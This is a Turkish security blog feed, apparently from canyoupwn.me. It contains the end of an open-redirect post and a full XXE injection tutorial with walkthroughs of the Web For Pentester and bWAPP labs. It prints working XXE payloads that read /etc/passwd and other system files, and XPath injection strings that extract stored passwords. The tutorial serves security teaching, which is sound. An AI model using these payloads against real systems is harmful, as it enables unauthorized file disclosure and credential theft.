Bunlara ek olarak ASP.NET MVC 1 ve 2 sürümleri bu zafiyete oldukça elverişlidir. Eğer zafiyetten korunmak istiyorsanız sürümü en az 3 yaparak kendinizi koruma altına alabilirsiniz.

Eğer yönlendirilecek URL’in durumu ile ilgili doğrulama ya da ek denetim yöntemleri uygulanmazsa aşağıdaki gibi bir kod parçası saldırıya karşı savunmasız kalacaktır. Herhangi bir güvenlik önlemi alınmadığı takdirde bu gibi URL’ler ile birlikte sitenizin kullanıcılarını saldırgan tarafından kötü amaçlı sitelere yönlendirmiş olursunuz.

http://demo.com/demo.php?url=http://zararlı.com

Dikkatli olmayan bir kullanıcı orijinal siteye gittiğini sanarak linke tıklayarak farkında olmadan zararlı siteye girmiş olur.

Bu URL yönlendirme zafiyetinden korunmak için ve güvenli şekilde gerçekleştirmek için çeşitli önlemler alınabilir.

Öncelikli olarak gerekmedikçe bu yönlendirme işleminden kaçınılması gerekmektedir.

Kullanılmasının gerektiği durumlarda kullanıcılardan yönlendirme işleminde kullanılacak olan URL’in girişi için herhangi bir alan bırakılmamalıdır.

Bunun olduğu durumlarda ise alınan verilerin düzgün doğrulama işlemlerinden geçirilmesine özen gösterilmelidir.

Doğrulama işlemlerine ek olarak girilen URL’in uygulama içerisinde olup olmadığı ve o kullanıcının bu yönlendirmeye yetkisi var mı kontrol edilmelidir.

Bu doğrulama işlemi için güvenli URL yönlendirmelerin bir whitelist ya da regex şeklinde oluşturulup girişlerden gelen değerlerin bunlar ile karşılaştırması tercih edilebilir.

Son olarak bütün yönlendirme işlemlerinden önce kullanıcılara siteden ayrıldığına dair bir sayfaya yönlendirip bu durumu kabul etmeleri durumda yönlendirme işlemi gerçekleştirmeyi deneyebilirsiniz.

TR | URL Redirect Ali TONKAZ

]]>
https://canyoupwn.me/tr-url-redirect/feed/ 0
TR | XML External Entity (XXE) https://canyoupwn.me/tr-xml-external-entity-xxe/ https://canyoupwn.me/tr-xml-external-entity-xxe/#respond Tue, 11 Apr 2017 23:43:47 +0000 https://canyoupwn.me/?p=6848 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

XML EXTERNAL ENTITY(XXE) Hakkında Bu yazımızda XML EXTERNAL ENTITIY(XXE injection) kavramını ve atak türlerini anlatmaya çalışacağım. Aşama aşama hangi konuları inceleyeceğiz görelim: XML nedir ? XML kullanıldığı alanlar ? XML avantaj ve dezavantajları nelerdir ? XXE injection nedir ? XXE saldırıları tarihsel örnekler Test ortamlarında uygulamalı XXE injection attack çözümleri XML Nedir ? Xxe injection […]

TR | XML External Entity (XXE) Murat TORAMAN

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

XML EXTERNAL ENTITY(XXE)

Hakkında

Bu yazımızda XML EXTERNAL ENTITIY(XXE injection) kavramını ve atak türlerini anlatmaya çalışacağım. Aşama aşama hangi konuları inceleyeceğiz görelim:

  • XML nedir ?
  • XML kullanıldığı alanlar ?
  • XML avantaj ve dezavantajları nelerdir ?
  • XXE injection nedir ?
  • XXE saldırıları tarihsel örnekler
  • Test ortamlarında uygulamalı XXE injection attack çözümleri

XML Nedir ?

Xxe injection saldırısına geçmeden önce xml yapısını ve mantığını kavramak bu aşamada gerçekten önemlidir. İlk olarak xml nedir sorusuna cevap arayalım. Açılımı Extensible Markup Language (Genişletilebilir İşaretleme Dili) ‘ dir. XML W3C (World Wide Web Consortium) tarafından tasarlanmış  veri iletişimi ve veri saklama standardıdır. XML veri iletimi noktasında sistemlerin aynı dili konuşmasına olanak sağlaması olarak görülebilir. XML’in tasarımcısı HTML’i de tasarlamış olan Tim Berners Lee ‘ dir. XML’in HTML’den farklı olan noktasını öğrenirsek kafamızda daha iyi canlandırabiliriz. Örneğin Html sayfası tasarlarken önceden belirlenmiş tagları kullanırız. Fakat XML bu şekilde değildir. XML de belli kurallara göre taglari geliştirici kendisi belirlemektedir. Diğer önemli nokta ise html verinin sunumuyla ilgilenmektedir. Xml ise direk olarak verinin kendisiyle ilgilenmektedir. Yani html de verinin konumlandırılması, boyutlandırılması ele alınırken xml de direk olarak verinin kendisi ele alındığından verinin tanımı, bilgileri gibi özellikleri işlenmektedir. Farklı sistemlerdeki veri alışverişlerinde xml kullanımı yaygındır. Ayrıca html statik verileri döndürürken xml dinamik verileri saklayabilir. Html ‘ de hatalarla karşılaştığımızda çalışma durumlarında devamlılık görebiliriz. Fakat XML hatalara karşı kontrol sistemine sahiptir yani bir hata ile karşılaşıldığında çalışma durumu sonlanmaktadır. XML ve HTML birbirlerini tamamlayan unsurlar olarak görülebilir. Bir nevi XML HTML’in geliştirilmiş modeli olarak düşünülebilir.

<?xml version="1.0" encoding="utf-8"?>
<takimlar>

<takim no="1">
<isim>Canyoupwnme</isim>
<sayi>12</sayi>
</takim>

<takim no="2">
<isim>Hacktrick</isim>
<sayi>25</sayi>
</takim>

</takimlar>
<html>
<body>
Canyoupwnme 12<br />
Hacktrick 25 <br />
</body>
</html>

2 koda baktığımızda xml kodlarındaki ögelere nasıl rahat erişebileceğimiz gözükmektedir. Ayrıca kendi taglerimizi belirttiğimiz için daha anlaşılır hale gelmektedir. Buna nerede denk gelebiliriz diye sorarsak örneğin elimizde bir xml dosyası var ve biz bu xml içerisindeki verilere kontrollü erişmemiz gerekmektedir. Verilere erişim değişken tarzında olduğu için istersek örnekteki Canyoupwnme verisini çekebiliriz veya  Hacktrick verisini çekebiliriz. XML bize bu avantajı sağlamaktadır.

XML’in Kullanıldığı Alanlar

XML veri alışverişinin yapıldığı sistemlerde çoğunlukla kullanılmaktadır. Unicode desteği bulunmaktadır ve bu özellik çoğu alfabedeki karakter desteğini sunmaktadır. Böylelikle evrensel bir uygulama da tercih edilebilir. Veri paylaşımlarında veri tabanı sistemleri farklılıklar gösterebilir ve bunların paylaşımları zor olabilir. Hele birde verilerin büyüklüğü devasa ise (big data ) XML ‘in text tabanlı olması ve kolay anlaşılabilir olması avantaj sağlar. Bu açıdan Busines To Busines (B2B) uygulamalarında büyük avantaj sağlamaktadır. Kısaca özetlemek istersek verinin taşınması ve saklanması gerekilen uygulamalarda XML kullanımı yaygındır.

XML Avantajlar Ve Dezavantajlar

Avantajlar :

  • XML entegrasyonu ile dinamik ve hızlı e-ticaret siteleri
  • Evrensel dilde tagler belirleme ve anlaşılabilirlik
  • Her sistemde çalışabilir olması çalışabilirlik açısından bir bağımlılığının olmaması
  • Birbirinden farklı sistemler arasındaki uyumluluğu , optimizasyonu
  • Öğrenilmesi kolaydır.
  • İçerisindeki verilere erişimin kolay olması. Bu sayede geliştirilecek uygulamalarla kolay çalışabilmesi.

Dezavantajlar :

  • XML verinin nasıl işleyeceğini tanımlamaz.
  • XML kendi başına harikalar yaratamaz. XML onu işleyecek ayrıştırıcılara ve uygulamalara gereksinim duyar.
  • Beraberinde getirdiği güvenlik açıkları

 XXE Injection nedir ?

XXE zafiyeti ile neler yapılabilir ilk olarak bunlardan bahsedelim. XXE zafiyeti ile sistemimizdeki hassas dosyalar okunabilir ve bazı özel durumlarda sistemde komut çalıştırılabilir. Bunların ne denli önemli olduğu aşikardır. Eski bir örnek verecek olursak “My Fullxml website” anahtar kelimesini google da arattığımızda karşımıza gelen sonuçlardan /db/member.xml uzantısına sahip olan sitelerde admin password bilgileri bulunabiliyordu. Böylelikle sitede admin yetkisi ile giriş yapılabilmekteydi. Bir örnek ile xxe injection inceleyelim;

payload = '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ZSL [
   <!ENTITY xxe1 SYSTEM "file:////etc/passwd" >
   <!ENTITY xxe2 SYSTEM "file:///etc/resolv.conf" >
   <!ENTITY xxe3 SYSTEM "file:///etc/issue" >]>
<package id="1" uuid="eecb64f8-35b0-412b-acda-3d83edf4ee63">
  <dateCreated id="2">2015-11-06 10:47:19</dateCreated>
  <name>&xxe1;</name>
  <description>&xxe2;</description>
  <openmrsVersion>&xxe3;</openmrsVersion>
  <version>1</version>
</package>'''

Bu payload’a exploit db’de rastladım. Bu örnek üzerinden incelememizi yapalım. İlk olarak taglere göz atalım. Name , description ve openmrsVersion tagleri arasında &xxe1 , &xxe2 , &xxe3 verileri tanımlanmış. Bakıldığında bir tehlike arz etmemektedir. Fakat !ENTITY ile başlayan taglere baktığımızda sistem dosyalarına erişebildiğimiz görülmektedir. Örneğin xxe1 verisi ile /etc/passwd dosyasına erişilmiştir. Bu gibi hassas verilere ulaşmak çok tehlikelidir. Bunun gibi örnekler çoğaltılabilir. Uygulama kısmında bu atak türü daha iyi anlaşılabilir.

XXE Saldırıları Tarihsel Örnekler

Bu kısımda ise hangi önemli sistemler xxe zafiyeti bulundurmuştur incelemeye çalışacağız. Bunların en başında tabii ki devasa bir kuruluş olan Facebook gelmektedir. Rastladığım bir yazıda .docx uzantılı dosyaların sıkıştırılmış xml dosyaları olduğu belirtilmekteydi. Ve saldırgan Facebook/career kısmında cv dosyasını yüklemeye çalıştığında başarılı olduğunu belirtmişti. Ardından cv dosyasını .docx uzantısında bir takım değişiklikler ile yüklemeye çalıştığını belirtmişti. Edindiği bilgide .docx dosyalarının sıkıştırılmış xml dosyaları türünde dosyalar olarak bilindiğini söylemekteydi. Ardından .docx uzantılı cv dosyasını 7zip programıyla açtığını ve içindeki xml dosyalarına eriştiğini belirtmekteydi. Burada bir takım değişiklikler yaparak dosyayı tekrar sisteme yüklediğinde zafiyeti keşfettiğini belirtmiştir. Bunu incelemek isterseniz aşağıda ki linki kontrol edebilirsiniz.

https://www.linkedin.com/pulse/how-i-hacked-facebook-word-document-mohamed-ramadan

Diğer çok önemli olan zafiyet ise Cisco Webex XXE zafiyetidir. Bu önemli zafiyeti sayın Ali Ardıç aşağıdaki linkte ayrıntılı ve Türkçe olarak belirtmektedir.

https://www.slideshare.net/CezeriSGACezeriSiber/cisco-webex-xxe-zafiyeti

Bu örnekler exploit db vb. platformlardan incelenerek çoğaltılabilir. Şimdi uygulamalı örneklere göz atalım.

Test ortamlarında uygulamalı XXE injection attack çözümleri

 Bu kısımda Web For Pentester , bWAPP tarzı test ortamlarında ekran görünrüleriyle XXE injection örneklerine değineceğiz.

 İlk olarak Web For Pentester’daki xml attack kısmındaki 2 örneğin çözümlerini inceleyelim.

Web For Pentester XML attacks Example 1 :

Kaynak Kod analizi :

Example1 örneğinde sayfanın kaynak koduna bakalım. Kaynak kodunu aşağıda verelim ;

<?php require_once("../header.php"); ?>
Hello  
<?php
  $xml=simplexml_load_string($_GET['xml']);
  print_r((string)$xml);
?>
<?php require_once("../footer.php"); ?>

Burada xml adında bir değişken tanımlanmıştır. Ve bu değişkende php modülü olan “simplexml_load_string” kullanılmıştır. Bunun diğer bir örneği ise “simplexml_load_file” dır. simplexml_load_file modülünde xml dosyası okunmaktadır. simplexml_load_string modülü ise kendi dökümanlarında belirttiğine göre bir xml dizgesini bir nesne haline getirmektedir. Daha sonra GET isteği ile parametreden gelen xml verisini print_r ile sayfaya bastırmaktadır. Alınan parametre sayfaya bastırılırken “Hello” kelimesinin yanına eklenmektedir.  Kaynak kodu inceledikten sonra sayfada uygulamaya geçelim.

Aşama 1 :

 Sayfayı incelediğimizde url kısmında ‘xml=’ ile kullanıcıdan bir parametre almakta ve bunu sayfada bastırmaktadır. <test>hacker</test>  kodu ile hacker string nesnesi xml değişkenine atanmakta ve sayfada bastırılmaktadır. Bu kod daha önce belirttiğimiz şekilde kullanıcı tarafından belirlenmiş tagler kullanılarak oluşturulmuştur. Biz tagler içerisinde değilde sadece string bir ifadeyi xml= kısmına girerek deneyelim.

Aşama 2 :

Bu şekilde url kısmında xml=Canyoupwnme olarak girdiğimizde hata ile karşılaşmaktayız. Hatada ‘<‘ ile başlayan bir tag bulunmadığını belirtmektedir. Demek ki göndereceğimiz parametre ‘<‘ gibi taglerle belirtilmesi gerekmektedir. Söylenildiği şekilde deneyelim fakat <test> tagi ile değil de xml özelliğinde belirtiğimiz kullanıcılar tagleri kendi oluşturabilir ifadesinden yola çıkarak kendi tagimizi oluşturalım ve öyle deneyelim.  Örneğin <deneme>Canyoupwnme</deneme>  gibi ;

Aşama 3 :

Görüldüğü üzere oluşturduğumuz tag bir sıkıntı çıkarmadı ve bize Canyoupwnme yazısını bastırdı. Bunu bildiğimize göre artık sistemdeki hassas dosyalara erişmeye yönelik çalışmalar yapalım. Örneğin şöyle bir kodu enjekte etmeye çalışalım.

<!DOCTYPE deneme [<!ENTITY canyoupwnme SYSTEM "file:///etc/passwd">]><deneme>&canyoupwnme;</deneme>

Bu payload ile deneme tagleri arasında canyoupwnme değişkenini kullanarak /etc/passwd dosyasını çağıralım.

Çözüm :

Payloadımız işe yaramadı ve bir hatayla karşılaştık. “Parser error” payloadımız parse edilirken sorunla karşılaştı. Bu payloadı birde bazı sistemlerde karşılaştığımız gibi url encode ile deneyelim.

Payload: <!DOCTYPE deneme [<!ENTITY canyoupwnme SYSTEM “file:///etc/passwd”>]><deneme>&canyoupwnme;</deneme>

Payload Url Encode :  %3C!DOCTYPE%20deneme%20%5B%3C!ENTITY%20canyoupwnme%20SYSTEM%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3E%5D%3E%3Cdeneme%3E%26canyoupwnme%3B%3C%2Fdeneme%3E

Böylelikle payloadımız çalışmış oldu ve sistemdeki /etc/passwd dosyasına erişmiş olduk.

Web For Pentester XML attacks Example 2 :

Kaynak Kod analizi :

Example2 örneğinde sayfanın kaynak koduna bakalım. Kaynak kodunu aşağıda verelim ;

<?php require_once("../header.php"); 

  $x = "<data><users><user><name>hacker</name><message>Hello hacker</message><password>pentesterlab</password></user><user><name>admin</name><message>Hello admin</message><password>s3cr3tP4ssw0rd</password></user></users></data>";

  $xml=simplexml_load_string($x);
  $xpath = "users/user/name[.='".$_GET['name']."']/parent::*/message";
  $res = ($xml->xpath($xpath));
  while(list( ,$node) = each($res)) {
  	echo $node;
  } 
?>
<?php require_once("../footer.php"); ?>

Buradaki kaynak kodlarını incelediğimizde ilk olarak x değişkeni ile bir XML haritası oluşturulmuştur. Daha sonra xml değişkenine 1. örnekte olduğu gibi simplexml_load_string modülü ile x değişkeni atanmıştır. xpath değişkeni ile name tagi içerisindeki veri GET isteği ile atanmıştır. While döngüsü ile de xpath değişkeninden gelen parametre ekrana bastırılmaktadır. Kodu analiz ettiğimizde name taginde hacker ver admin verileri bulunmaktadır. Fakat biz diğer hassas verileri çekmemiz gerekmektedir. Örneğin password taginde ki verileri elde etmek gibi. Peki bunu nasıl yapabiliriz  ? Bu sorunun cevabını denemelerimiz ile bulmaya çalışalım.

Aşama 1 :

name kısmında parametre almaktadır. Biz buraya admin veya hacker yazdığımızda sayfa sorunsuz çalışmaktadır. Fakat başka herhangi bir şey yazdığımızda sayfa boş dönmektedir. Bu biraz bize Sql injection çağrıştırmaktadır. name kısmına tırnak attığımızda bize hata döndürmektedir. Invalid predicate bize geçersiz yüklenici hatası vermektedir. Birde çift tırnak atıp deneyelim. Çift tırnak attığımızda sayfa bize boş olarak dönmektedir. İşlemlerimize tek tırnak üzerinden devam edip hata kodunu yok etmeye çalışalım.

 hacker’ or 1=1 — kodunu parametre olarak yollayalım ve sonucu inceleyelim.

Aşama 2 :

Burada bize Unfinished literal bitmemiş yazılı hatası verdi. Demek ki sorguyu  sonlandıramadık. Bunu çözmeyi deneyelim. — yerine %00 verdiğimizde tekrar geçersiz yüklenici hatası vermektedir. %00 ile sonrasında gelenleri yorum satırı yapmadan önce sorguyu sonlandırmayı normal parantez ile deneyelim. Fakat buda bize hata döndürmektedir. Birde süslü parantezle deneyelim. O da aynı sonucu vermektedir. Birde köşeli parantez ile sorguyu sonlandırmayı deneyelim. Ve başarılı bir sonuca ulaşmış olduk . Görelim ;

payload :

hacker' or 1=1 ] %00

Aşama 3 :

Sayfa bize name tagleri içerisindeki verileri getirmiş oldu. Şimdi diğer taglerde tutulan verilere erişmeye çalışalım. Peki bu verilere nasıl erişebiliriz. Bu noktada aklımıza PHP DOM(Document Object Model) yapısı gelmektedir. Bu yapı ile HTML veya XML dosyalarımızda nesnel erişim sağlayarak elementler üzerinde işlem yapabilmekteyiz.  Şimdi payloadımıza geri dönelim.  Sorguyu yaptıktan sonra child::node() ile geçerli düğümün tüm çocuklarını seçelim. Bu bilgiye ise google da XPath Axes anahtar kelimesi ile erişebiliriz. Daha sonrada geçerli düğümün tüm atalarına erişmeyi deneyelim . İlk olarak çocuk düğüme erişebiliyor muyuz deneyelim ;

payload : hacker’ or 1=1 ]/child::node() %00

Çözüm :

Görüldüğü üzere bir hata ile karşılaşmadık. Demek ki çocuk bireyler hacker ve admin verileri. Şimdi ata bireylere erişmeyi deneyelim. Bunu da parent::node() ile deneyelim.

payload : hacker’ or 1=1 ]/parent::node()/child::node() %00

Böylelikle tüm ata bireylere de erişmiş olduk. Peki burada ne anlamıştık. child::node() ile çektiğimiz veriler hacker ve admin verileriydi. Yani bunlar name tagleri ile tutulan verilerdi. name tagini username tagi gibi düşünebiliriz. Bunu url kısmında şu şekilde deneyerek ne olacağını görelim ;

payload:

hacker' or 1=1 ]/parent::node()/name%00

Görüldüğü gibi düşüncemiz doğrulanmış oldu. Yani herhangi bir hata ile karşılaşmadık. Şimdi bu düşüncemize göre password bilgilerini çekmek isteseydik ne olurdu ? Şu şekilde deneyelim ;

payload :

hacker' or 1=1]/parent::node()/password%00

Ve sonuca ulaştık. XML tagleri içerisindeki password bilgilerine eriştik. Böylelikle Web For Pentester içerisindeki XXE injection örneklerini çözmüş olduk.

bWAPP XML External Entity Attacks (XXE) :

Bu kısımda ise çeşitli zafiyetlerin bulunduğu test ortamı olan bWAPP içindeki XXE attacks bölümünü inceleyeceğiz.

İlk olarak inceleyeceğimiz kısımı görelim ;

Görüldüğü üzere sayfamız bu şekildedir. Burada sadece ‘Any bugs?’ butonu bulunmaktadır. Bu butona bastığımızda bir değişiklik olmamaktadır. Peki bu noktada ne yapmalıyız? Burpsuite ile butona bastıktan sonra araya girelim ve hangi veriler gönderilmekte ne gibi istekler yapılmakta bunu inceleyelim.

Any bugs? butonuna tıklayıp burpsuite ile araya girdiğimizde ekran görüntüsündeki gibi paket bilgileri gönderilmektedir. bee kullanıcısı ile giriş sağladığımızdan <login> tagleri arasında bee görmekteyiz. <secret> tagleri arasında ise kullanıcı oluştururken bizden secret stringi istemektedir burada onu görmekteyiz. Burada xml taglerinin farkındayız ve önceki aşamalarda gerçekleştirdiğimiz xxe injection tekniklerini burada uygulamayı deneyelim. Xml ile kendi oluşturduğumuz değişkende robots.txt dosyasını çağırmayı deneyelim. Bunları denerken bilgileri repeater’a atıp değişiklikleri orada deneyelim.

Çözüm :

Görüldüğü üzere robots.txt dosyasına, yazdığımız xml kodları ile ulaşabiliyoruz. Bu kodları daha anlaşılabilir olması bakımından XML kısmında ekledim. Kodu aşağıda verelim.

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE deneme [
<!ENTITY canyoupwnme SYSTEM "http://localhost/bWAPP/bWAPP/robots.txt">
]>

Burada canyoupwnme değişkenini belirledik ve bu değişken ile robots.txt dosyasını çağırdık. Robots.txt dosyasının yolunu belirtirken http url’i üzerinden belirttik burada bWAPP sistemimizde nerede kurulu ise o yolu vermeye dikkat edelim.

Ayrıca login taglerinde de oluşturduğumuz canyoupwnme değişkenini belirtelim ;

<login>&canyoupwnme;</login>

Böylelikle robots.txt dosyasına eriştik. Peki bir saldırgan gibi düşünerek /etc/passwd dosyasını okumak istesek başarılı olabilir miydik ? Bunu aşağıdaki kod ile deneyelim ve sonuçları görelim.

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE deneme [
<!ENTITY canyoupwnme SYSTEM "file:///etc/passwd">
]>

Bu kodda sadece SYSTEM’den sonra çift tırnak içerisinde http değilde file olarak değiştirdik. Ve /etc/passwd dosyasını bana getir dedik daha sonra &canyoupwnme; ‘yi login tagleri arasında belirttik. Sonucu ekran görüntüsü ile görelim ;

Görüldüğü üzere /etc/passwd dosyasına da xxe injection ile erişmiş olduk. bWAPP’ın bu konudaki challenge’ını böylelikle göstermiş olduk.

Bu aşamada karşılaştığım bir sorunu ve çözümünü de anlatayım. İlk olarak bWAPP ‘ı sistemimde default olarak apache2 sunucusuna kurdum. Daha sonra çözümü denediğimde sürekli bir hata ile karşılaştım. Hatada sonuç olarak ”An error occured” döndürmekteydi. Bu hatayı bir süre aşamadım. Daha sonra araştırdıktan sonra bunun sunucu kaynaklı olduğunu öğrendim. Apache2 sunucusu üzerinden sistemi çalıştırdığım için dosyaları okumak istediğimde hata alıyordum. Bunun sebebinin izinlerden dolayı kaynaklandığını düşünüyorum.

Peki bu sorunu nasıl çözdüm ? Bu noktada devreye XAMPP girdi. Kali sistemine XAMMP kurdum ve mysql,apache ‘yi XAMPP üzerinden çalıştırdım. bWAPP’ı ise XAMPP htdocs içerisine kurdum. Böylelikle sorun çözülmüş oldu. Bunun WAMP server ile de çözülebileceğini düşünüyorum.

Sonuç

Bu yazımızda xxe injection anlatmaya çalıştım. XML’den bahsettik ve daha sonra Web For Pentester xxe örneklerinin çözümünü anlattık. Daha sonra başka bir test ortamı olan bWAPP üzerinde XXE attack challenge’nın çözümünü anlatmış olduk.

TR | XML External Entity (XXE) Murat TORAMAN

]]>
https://canyoupwn.me/tr-xml-external-entity-xxe/feed/ 0